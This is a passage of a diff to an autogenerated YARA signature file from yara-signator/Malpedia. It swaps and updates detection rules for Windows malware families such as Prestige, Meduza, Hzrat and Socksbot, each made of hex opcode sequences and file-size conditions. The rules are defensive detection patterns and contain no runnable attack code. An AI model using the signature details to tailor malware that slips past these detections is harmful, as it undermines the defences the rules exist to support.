+		$sequence_15 = { 83e203 03c2 c1f802 89442410 8b4c240c }
 
 	condition:
-		7 of them and filesize <315392
+		7 of them and filesize <1032192
 }
-rule MALPEDIA_Win_Unidentified_108_Auto : FILE
+rule MALPEDIA_Win_Nightclub_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "91d0ee32-15d3-5f4b-b0c7-e219a3fb056f"
+		id = "fe7b22ba-512f-5e91-8935-479f32d64f06"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_108_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nightclub_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "bc8d7e8276cd214c62a44b786052de8d0d6c82c70c52e7e29cb797627cab2825"
+		logic_hash = "3d19b2fe0d45f47ba38d0f6076660c3269a68cbecd47ee885f31f66a44204ee7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132676,32 +139834,32 @@ rule MALPEDIA_Win_Unidentified_108_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d05c7580100 4a8b0ce8 42385cf938 7d4f 400fbece 4084f6 }
-		$sequence_1 = { 0f8493010000 488d2d3a100100 83635000 83632c00 e9???????? 48ff4318 837b2800 }
-		$sequence_2 = { 660feb0d???????? 4c8d0d44950000 f20f5cca f2410f590cc1 660f28d1 660f28c1 4c8d0d0b850000 }
-		$sequence_3 = { 7426 488d5540 803201 488d5201 41ffc0 488d4540 498bcc }
-		$sequence_4 = { 4c8d05a8310100 83e23f 488d14d2 498b04c0 f644d03801 }
-		$sequence_5 = { 488d1dd6db0100 458bc5 498bcc 48ffc1 4438040b 75f7 4885c9 }
-		$sequence_6 = { 458bc5 498bc4 90 48ffc0 44380401 }
-		$sequence_7 = { 0fb6557f 4889451f 83f201 488d05dbc90000 49c1e302 4889452f 03d2 }
-		$sequence_8 = { 488d9588000000 803201 488d5201 41ffc0 488d8588000000 }
-		$sequence_9 = { 7350 488bca 4c8d051d310100 83e13f 488bc2 48c1f806 }
+		$sequence_0 = { ff4808 83c404 3b7514 75b4 5f 5b 8b450c }
+		$sequence_1 = { 8d4dd0 c645f300 ff15???????? 8b4d08 8d45c0 50 51 }
+		$sequence_2 = { 8d75bc e8???????? 8d75e0 e8???????? eb33 8b55bc 8b7d08 }
+		$sequence_3 = { 8da42400000000 8a4701 47 84c0 75f8 b90b000000 be???????? }
+		$sequence_4 = { 83c404 6a00 56 53 8bf8 ff15???????? }
+		$sequence_5 = { 85c0 7505 a1???????? 8bc8 8bff 8a10 40 }
+		$sequence_6 = { 83c408 8bc8 ff15???????? 5f 5e 8be5 5d }
+		$sequence_7 = { 5b b87fe0077e f7ef c1fa08 8bfa c1ef1f 03fa }
+		$sequence_8 = { 8b45f0 83c010 83c310 8945f0 3bc6 75dc }
+		$sequence_9 = { c645f200 ff15???????? c745e001000000 85db 0f848c010000 8b15???????? 8b450c }
 
 	condition:
-		7 of them and filesize <307200
+		7 of them and filesize <247808
 }
-rule MALPEDIA_Win_Mocton_Auto : FILE
+rule MALPEDIA_Win_Unidentified_100_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "72b425f0-e1bd-580c-ba97-36f1bcb1157c"
+		id = "ef81c2e4-5fa3-571d-bebe-aeaf2bbd4859"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mocton_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_100_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "f466c26ab0d8cd5071e2b5a32b6cc128a028215985bbf34b30810ffd494c9c82"
+		logic_hash = "144a60b0164255f58e6624e761b77d4aa80b8a589ef3259bf29c12a9ff5a78b0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132715,32 +139873,32 @@ rule MALPEDIA_Win_Mocton_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4db8 81e1dbb036e4 33c8 334db8 8b55b8 83c201 8955b8 }
-		$sequence_1 = { 0b55d0 8b45d0 83e801 8945d0 85d2 741e 8b4dd0 }
-		$sequence_2 = { 898584feffff e9???????? 8b8d9cfeffff 83e901 898d9cfeffff 8b959cfeffff 8b859cfeffff }
-		$sequence_3 = { b901000000 85c9 741d 8b955ceaffff c1e206 81ca2bb0d5ca 03955ceaffff }
-		$sequence_4 = { 0b8dcce9ffff 898dcce9ffff e9???????? 8b95cce9ffff 69d237b0cb41 33c0 81fa237558e2 }
-		$sequence_5 = { 7353 8bc1 c1f805 8bf1 8d3c85004d4400 8b07 83e61f }
-		$sequence_6 = { 7e3e b8913b77ee 2b8508fdffff 398508fdffff 7c17 8b8d08fdffff c1e105 }
-		$sequence_7 = { 0f94c1 81c9efb286ac 7412 8b956cfcffff 039560fcffff 89956cfcffff c785acfcffffeed81864 }
-		$sequence_8 = { 894dec eb12 8b55f8 2b55ec 8955f8 8b45ec 83c001 }
-		$sequence_9 = { c1e009 05335b8425 2385e4e9ffff 0b85ece9ffff 8985ece9ffff 8b8de4e9ffff }
+		$sequence_0 = { 488d9424f0030000 488b4c2448 e8???????? e9???????? 4c8d8c2490070000 4533c0 488d942470130000 }
+		$sequence_1 = { 4889442420 4c8d8c24e0020000 448b442458 8b54245c 8b4c2454 }
+		$sequence_2 = { 0f8dac000000 c644242000 eb0b 0fb6442420 fec0 88442420 0fb6442420 }
+		$sequence_3 = { 448bc3 488d1580860000 e8???????? 85c0 7429 }
+		$sequence_4 = { 488bf8 33c0 b9fe010000 f3aa 4c8b8c24b8060000 4c8b8424b0060000 488d156dfd0100 }
+		$sequence_5 = { eb1d 488d05a7690100 ffcb 488d0c9b 488d0cc8 ff15???????? ff0d???????? }
+		$sequence_6 = { 488d05a7690100 ffcb 488d0c9b 488d0cc8 ff15???????? }
+		$sequence_7 = { ffc0 8944243c 486344243c 483b442458 7320 486344243c }
+		$sequence_8 = { 33c0 b97a010000 f3aa 488d8424b0190000 488d0deee80100 }
+		$sequence_9 = { 488b842490030000 4889842490000000 48c7442458ffffffff 48ff442458 488b842490000000 488b4c2458 66833c4800 }
 
 	condition:
-		7 of them and filesize <573440
+		7 of them and filesize <372736
 }
-rule MALPEDIA_Win_Pngdowner_Auto : FILE
+rule MALPEDIA_Win_Sedll_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31e7b95d-0a01-5118-aefe-72f10c1de52f"
+		id = "009a21d7-9a67-5650-8e55-9cfcfc21e0f2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pngdowner_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sedll_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "73611f5253baf7f95cf22059dc76ddead3ab9941ef229c965d83aeede8e284a3"
+		logic_hash = "21c4f01124bd0cd6ba61129966ab2fcf5cc6cd643797282b60948edf1b57805e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132754,32 +139912,32 @@ rule MALPEDIA_Win_Pngdowner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4508 c705????????01000000 50 a3???????? e8???????? 8db6bcdc4000 bf???????? }
-		$sequence_1 = { ff15???????? 85c0 a3???????? 741b 6a00 6a00 }
-		$sequence_2 = { 7552 833c8580e0400000 53 57 }
-		$sequence_3 = { c74050c0b54000 c7401401000000 c3 56 57 ff15???????? }
-		$sequence_4 = { c1ff05 83e11f 8b3cbd40e64000 8d0cc9 8d3c8f eb05 bf???????? }
-		$sequence_5 = { 83c8ff 5b 81c420000100 c3 8b3d???????? 8d4c2420 }
-		$sequence_6 = { ff74240c e8???????? 83c40c c3 e8???????? 8b4c2404 894814 }
-		$sequence_7 = { c3 33c0 5e c3 8b442404 c74050c0b54000 }
-		$sequence_8 = { 8b1d???????? b900400000 33c0 8d7c2420 8d542420 }
-		$sequence_9 = { ff742404 e8???????? 59 c3 56 8bf1 6a1b }
+		$sequence_0 = { 6a00 6a00 6a00 8d8424b0030000 }
+		$sequence_1 = { 50 ff15???????? 8b4df8 85c9 7407 }
+		$sequence_2 = { 74e3 57 33c9 33ff 85db 0f848f000000 }
+		$sequence_3 = { 56 6800010000 8d85f0feffff 8bf1 6880000000 50 }
+		$sequence_4 = { 8d842484010000 50 8d842498030000 50 ff15???????? }
+		$sequence_5 = { 6a00 53 e8???????? 83c410 6a00 6a00 ff75f4 }
+		$sequence_6 = { ff15???????? 85c0 7523 85ff }
+		$sequence_7 = { 57 6aff ff75fc 6a00 6a00 ffd3 8bc7 }
+		$sequence_8 = { 8b4514 8908 a1???????? 50 }
+		$sequence_9 = { 7604 8bf8 2bfb 8d7701 56 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Socksbot_Auto : FILE
+rule MALPEDIA_Win_Prestige_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9bcf8cfe-6674-56a4-ae23-27a14bd76431"
+		id = "554de8b7-e6ad-5535-8c14-f95b90ec653d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socksbot_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prestige_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "751966a23ad60ac8819a9938a949afcb7d6a09a99a37898a0110d849f807b7bf"
+		logic_hash = "3d9139c6507e377e5a1b52cf299e6f205e8499ed341925da786360ebd802ec9b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132793,32 +139951,32 @@ rule MALPEDIA_Win_Socksbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a50 ff7508 33f6 8975fc e8???????? 8bd8 59 }
-		$sequence_1 = { 59 e9???????? 55 8bec ff4d0c 7509 ff7508 }
-		$sequence_2 = { 46 8a1c39 41 3b4d0c 7cce 5f 8935???????? }
-		$sequence_3 = { 6a00 ff7508 6a03 e8???????? 83c410 ff7704 }
-		$sequence_4 = { 48 741b 48 7536 53 }
-		$sequence_5 = { e8???????? 8bd8 8b45fc 8945f0 83c008 }
-		$sequence_6 = { 8b75fc 53 ff15???????? 57 e8???????? }
-		$sequence_7 = { 75ed ff7508 6bc94c 8b5dfc 03cf 51 53 }
-		$sequence_8 = { 8a0c37 880e 4a 75f7 }
-		$sequence_9 = { 81c60c000100 4b 75d2 68???????? ff15???????? a0???????? }
+		$sequence_0 = { 894648 8b7a4c 897e4c 837a4c10 7706 }
+		$sequence_1 = { 03f3 c706652b3030 8d4604 33d2 e9???????? 8bd1 c745c409000000 }
+		$sequence_2 = { 83f826 7603 6a26 58 0fb60c85be534700 0fb63485bf534700 }
+		$sequence_3 = { b9fe020000 3bc1 0f4fc1 8d8decfcffff 50 8985e8fcffff e8???????? }
+		$sequence_4 = { 3bf0 730a 8bc6 89742410 897c2414 50 ff7508 }
+		$sequence_5 = { 8d45fc 50 8bd6 e8???????? 8b7508 8bf8 59 }
+		$sequence_6 = { 8bf2 57 8bf9 8d4e02 668b06 83c602 6685c0 }
+		$sequence_7 = { 85c0 740c 8d432c 8945f8 8b00 }
+		$sequence_8 = { 8945d8 8b45e8 5e 13ce f765e0 6a00 8945ec }
+		$sequence_9 = { 59 c3 8b4c240c 68???????? e8???????? 8b44240c 5e }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <1518592
 }
-rule MALPEDIA_Win_Cruloader_Auto : FILE
+rule MALPEDIA_Win_Tarsip_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "975bd752-b718-50f1-9af8-cfa41728edc9"
+		id = "4ad2adc0-f292-5e9b-b3e6-4bd61bcff987"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cruloader_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tarsip_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "a1572c6250fefbf1b80a173c44c61e578e12fe07ff0f92d960b828b4e32b23d4"
+		logic_hash = "228c42e725c96bb3ed688957a36bb59d0b21035a6d52aae02eb400f7262ce8f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132832,32 +139990,32 @@ rule MALPEDIA_Win_Cruloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 ff15???????? 6a04 6800100000 ff35???????? 6a00 }
-		$sequence_1 = { 6bf638 8b0c8dd85e4100 80643128fd 5f 5e c9 c3 }
-		$sequence_2 = { 0f1005???????? 50 0f1145e0 ff15???????? 33c9 90 8a540dd0 }
-		$sequence_3 = { 3bf7 72e9 5f f7d0 5e 8be5 }
-		$sequence_4 = { 88540dc0 41 3bc8 7ced }
-		$sequence_5 = { 83c404 0f1000 6a00 0f1185ccfbffff ff15???????? }
-		$sequence_6 = { 833d????????00 0f851c0e0000 8d0db02f4100 ba1b000000 e9???????? a900000080 7517 }
-		$sequence_7 = { 7309 80341961 41 3bca 72f7 e8???????? 8d45ec }
-		$sequence_8 = { 0f8c5cffffff c705????????01000000 8b7d08 83c8ff }
-		$sequence_9 = { 0f8494010000 8bb5e4fcffff 8d45f4 50 ff7354 57 ff75e8 }
+		$sequence_0 = { 8884244f840000 e8???????? 8d94240c840000 52 }
+		$sequence_1 = { ff15???????? 89ae14420100 8b8610420100 3bc5 }
+		$sequence_2 = { ff15???????? 898614420100 85c0 754f }
+		$sequence_3 = { 80fa2f 7505 b83f000000 8d148500000000 8b442420 c1fa02 c1e106 }
+		$sequence_4 = { ff15???????? 5b 33c0 5e c3 57 6a00 }
+		$sequence_5 = { 8b08 038ea4830000 8b54240c 8a02 8801 }
+		$sequence_6 = { e8???????? 50 e8???????? e8???????? 99 b980841e00 }
+		$sequence_7 = { e8???????? 83c404 c746180f000000 895e14 885e04 8b4c240c 64890d00000000 }
+		$sequence_8 = { 8b442418 0374241c 53 8d542418 52 53 53 }
+		$sequence_9 = { 83bc240c01000010 7210 8b9424f8000000 52 e8???????? 83c404 c784240c0100000f000000 }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Smarteyes_Auto : FILE
+rule MALPEDIA_Win_Pipcreat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "60f92ddb-7402-5d47-97fc-69a2fdffb7f3"
+		id = "38c9ab7f-3633-5cf9-b43a-1054dcf3eb2e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smarteyes_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pipcreat_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "8c2da2c0cae87308c8e6e0dfb55ae530bef3c36e3693a233b1d96edfb1425c3c"
+		logic_hash = "c78f35b80acd6d02ab8a3808b0a24320b25c92c8bd70c4aff6d75dba01d58da4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132871,32 +140029,32 @@ rule MALPEDIA_Win_Smarteyes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 8d85d4fdffff 50 e8???????? 8d85d4fdffff 889c35d4fdffff 83c40c }
-		$sequence_1 = { 68???????? e9???????? 53 68???????? e8???????? 33c0 40 }
-		$sequence_2 = { 3bc3 0f8426030000 8d842488040000 50 6804010000 ff15???????? 85c0 }
-		$sequence_3 = { 7478 83c00c 8bc8 8d7901 8a11 41 84d2 }
-		$sequence_4 = { 7413 8d85ecfeffff 57 50 }
-		$sequence_5 = { ff742424 ff742420 ff15???????? 85c0 7547 }
-		$sequence_6 = { e8???????? 59 59 8d8548f5ffff 50 8d9d78f7ffff e8???????? }
-		$sequence_7 = { 7514 8bf9 c744241001000000 e8???????? e9???????? 68???????? 8d442424 }
-		$sequence_8 = { 8d45ff 50 e8???????? 8a4736 8845ff 53 8d45ff }
-		$sequence_9 = { 8bd6 0fb7c0 6683f82f 7406 6683f85c 7502 8bca }
+		$sequence_0 = { 50 ffd6 85c0 751b 8d851cfeffff c7851cfeffff14010000 }
+		$sequence_1 = { 6a00 8d442420 6a00 50 6a01 6a02 6a20 }
+		$sequence_2 = { 8b4c2404 68???????? 6a01 51 ff15???????? 85c0 }
+		$sequence_3 = { 56 ff15???????? 85c0 741d 6a30 6868420010 }
+		$sequence_4 = { e9???????? 83bd20feffff04 770a 6888410010 e9???????? 83bd20feffff05 8b35???????? }
+		$sequence_5 = { 56 57 be9c400010 8d7df8 8d45f8 a5 50 }
+		$sequence_6 = { eb12 6838470010 ff15???????? 6a20 6898420010 }
+		$sequence_7 = { 59 8d8538ffffff 6a28 50 }
+		$sequence_8 = { 7426 50 50 50 8b15???????? }
+		$sequence_9 = { be???????? 8d7c2414 33c0 f3a5 b975000000 }
 
 	condition:
-		7 of them and filesize <429056
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Alphanc_Auto : FILE
+rule MALPEDIA_Win_Yarat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e24a753-bd90-55fc-a721-b43ae19ca82e"
+		id = "9b4289ae-23e7-5628-ab26-1ca831bf886f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alphanc_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yarat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "76f5a4c48b7d4b7a92e132b26eac0da2bf874f9a491b16e025e278e5810143fc"
+		logic_hash = "6ef74e5effac24b08695314060e4e7e4519b854f50f85d73d7052d0ace49145b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132910,32 +140068,32 @@ rule MALPEDIA_Win_Alphanc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 8b4c2428 85c9 757d 8b4c242c 85c9 7543 }
-		$sequence_1 = { e8???????? 83c40c 89442410 85c0 0f84f6010000 8b4d14 8b5510 }
-		$sequence_2 = { eb0a 8b4554 c7400c01000000 8b442414 8b4d54 c74538f0000000 894550 }
-		$sequence_3 = { 03c1 8b4c2444 13d7 2bc1 8bce 1bd1 8b4c243c }
-		$sequence_4 = { 8d55f0 6a00 52 6a04 68???????? 57 ff15???????? }
-		$sequence_5 = { 8b4758 8b8840030000 83f90e 7533 c7805403000001000000 8b4f58 39a978010000 }
-		$sequence_6 = { 33c0 56 f3ab 8b4e58 8b442424 89a9ec000000 8b5658 }
-		$sequence_7 = { 8b4c2430 83c420 8d0c49 8d440804 83f808 0f87d7000000 ff248574354600 }
-		$sequence_8 = { 8d4c2424 51 e8???????? 8d542454 52 e8???????? 8d442470 }
-		$sequence_9 = { 8b4804 83f905 8954241c 7529 8b5048 55 52 }
+		$sequence_0 = { e8???????? 8b75a8 8bf8 3bf7 7465 8b4e14 83f910 }
+		$sequence_1 = { c70000000200 e9???????? 56 68???????? 57 e8???????? 83c40c }
+		$sequence_2 = { 8d8544feffff 6a00 57 89864c010000 e8???????? 83c414 80bf0b05000000 }
+		$sequence_3 = { e8???????? 83c40c 85d2 0f8f28010000 7c08 85c0 0f831e010000 }
+		$sequence_4 = { 8b8f90050000 83c40c 85c9 7506 8b8f04030000 8b8748050000 8b4040 }
+		$sequence_5 = { 8a18 885dfe 80fb2e 8b5d08 7406 807dfe2c 7534 }
+		$sequence_6 = { 07 20c2 aa 709a 93 a3???????? 9e }
+		$sequence_7 = { 8b75fc 8bc7 c1e808 83e00f 8a80d0070a10 880433 8bda }
+		$sequence_8 = { e8???????? 83c408 85c0 7405 8d7728 eb38 8d85fcefffff }
+		$sequence_9 = { 8b4508 33f6 83f8ff 742d 8d8df4fdffff 51 50 }
 
 	condition:
-		7 of them and filesize <2015232
+		7 of them and filesize <8692736
 }
-rule MALPEDIA_Win_Meduza_Auto : FILE
+rule MALPEDIA_Win_Grimagent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4f4d329-00f5-5eac-b6fa-1a17dabc236f"
+		id = "228d515c-640e-56ca-8602-96023167bb1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meduza_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grimagent_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "5c31e3491e238f84a3f72990d6fa7fa5c8ed914b3efa6ee6f598848d375c51b9"
+		logic_hash = "96dca74317029a89173373ec308b352cf5e1c63ce0e2aa5c10efcec2082d0995"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132949,32 +140107,32 @@ rule MALPEDIA_Win_Meduza_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75c8 8d55ac c645fc01 8d8d78ffffff e8???????? 83c404 8d4d94 }
-		$sequence_1 = { c645fc23 c785f8eaffff02000000 c78548f8ffff3ebfeb85 c7854cf8ffff59dea06d 8b8548f8ffff 8b8d4cf8ffff 898d04f3ffff }
-		$sequence_2 = { 83c408 c645fc15 8b4590 3b4580 0f84e9020000 66660f1f840000000000 8d7020 }
-		$sequence_3 = { 8d45e0 c645fc02 50 e8???????? 8b4de4 83c404 8bf8 }
-		$sequence_4 = { 898538f4ffff 898d3cf4ffff c785d8f6ffffdf03fddd c785dcf6ffffe227d929 8b85d8f6ffff 8b8ddcf6ffff 898540f4ffff }
-		$sequence_5 = { 898de4feffff 8985e0feffff c78558ffffff0d5f1759 c7855cfffffff2314621 8b8558ffffff 8b8d5cffffff 898decfeffff }
-		$sequence_6 = { c78548f8ffff68297235 c7854cf8ffff9d412b44 8b8548f8ffff 8b8d4cf8ffff 898dbcf5ffff 8985b8f5ffff c78548f8ffff5fcb84e8 }
-		$sequence_7 = { 898ddce7ffff c785d8e4ffffdf03fddd c785dce4ffffe227d929 8b85d8e4ffff 8b8ddce4ffff 8985e0e7ffff }
-		$sequence_8 = { e9???????? 807b0c00 0f8485010000 6a02 68???????? ff5004 8b4314 }
-		$sequence_9 = { c7854cf8ffff9d412b44 8b8548f8ffff 8b8d4cf8ffff 0f288d90f4ffff 898dfcfbffff 8d8d90f4ffff 8985f8fbffff }
+		$sequence_0 = { 55 8bec 83ec18 c745f400000000 c745f800000000 c745e800000000 8b4508 }
+		$sequence_1 = { ebbe 8b550c 8955fc 8b450c 50 e8???????? }
+		$sequence_2 = { 0fb711 3bc2 7514 8b45ec 83c002 }
+		$sequence_3 = { 8b4dfc 0fb711 3bc2 7514 }
+		$sequence_4 = { 8b4508 50 e8???????? 83c404 3945f4 0f8394000000 8b4df0 }
+		$sequence_5 = { 0fb708 3bd1 7576 8b55f0 8955ec c745f800000000 eb09 }
+		$sequence_6 = { 83ec0c 8b450c 8945f8 c745fc00220400 8b4dfc }
+		$sequence_7 = { 8bec 8b4508 0fbe08 85c9 7426 8b5508 }
+		$sequence_8 = { c745e801000000 b801000000 eb1a 8b4df0 }
+		$sequence_9 = { 83c404 3945f8 750e c745e801000000 b801000000 }
 
 	condition:
-		7 of them and filesize <1433600
+		7 of them and filesize <582656
 }
-rule MALPEDIA_Win_Hzrat_Auto : FILE
+rule MALPEDIA_Win_Virdetdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4d1bc827-a443-5a54-876f-91ca96256a66"
+		id = "888dbb4a-ac95-59fd-b6c6-805a13eab949"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hzrat_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virdetdoor_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "4c8da289e225a98c903b1e25bb40a32ef5f7bbd72fec724a7ddbf67c4f6841b8"
+		logic_hash = "f95b30ef178ddd53d43c681785d15b079df5f7a769adfe7338b74de03b97c177"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132988,32 +140146,32 @@ rule MALPEDIA_Win_Hzrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7526 c745f500000000 8d4df4 8075f642 8075f742 8075f842 6a00 }
-		$sequence_1 = { ff15???????? 6689442412 8b44240c 89442414 8d442410 6a10 50 }
-		$sequence_2 = { 8bce ff7508 8b4020 ffd0 8b17 8bcf 8ad8 }
-		$sequence_3 = { 03da 81fa00010000 7312 8a8758e94200 0803 42 0fb64101 }
-		$sequence_4 = { 51 e8???????? 83c408 80bd93feffff00 c6856cfeffff00 7445 }
-		$sequence_5 = { 0faee8 e8???????? 8bc8 83c404 85c9 747d }
-		$sequence_6 = { 7410 fe8860f14200 8a8060f14200 84c0 7f1f 8bce e8???????? }
-		$sequence_7 = { dd4520 83c40c c9 c3 8b04c5c4324200 }
-		$sequence_8 = { 7312 0faee8 8b5104 8b4208 }
-		$sequence_9 = { c60000 c645fc03 8b9544fbffff 83fa10 }
+		$sequence_0 = { 8b93b0020000 2bc2 50 8b83ac020000 03c2 50 }
+		$sequence_1 = { 83ee01 753e 85ff 7524 390b 7720 3903 }
+		$sequence_2 = { 8d4dc0 e8???????? 85c0 0f84c8000000 }
+		$sequence_3 = { 83fe08 0f43c8 83c602 0fb7444dc0 0bd0 0fb7449dd2 0bd0 }
+		$sequence_4 = { 59 8d44240c 8bce 50 ff7314 57 e8???????? }
+		$sequence_5 = { 0fbfd0 8d8df8fdffff ff7508 50 }
+		$sequence_6 = { 55 8bec 51 51 53 8bc1 33db }
+		$sequence_7 = { ff75f0 8d8b50020000 e8???????? 834dfcff }
+		$sequence_8 = { 3c2e 7404 3c3a 750e 8a0437 88441dc0 43 }
+		$sequence_9 = { 8945f8 8b4508 8bf0 8975f0 8d5808 895df4 }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Ngioweb_Auto : FILE
+rule MALPEDIA_Win_Gameover_Dga_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1a04caa4-5f94-5038-893b-b414574d57bc"
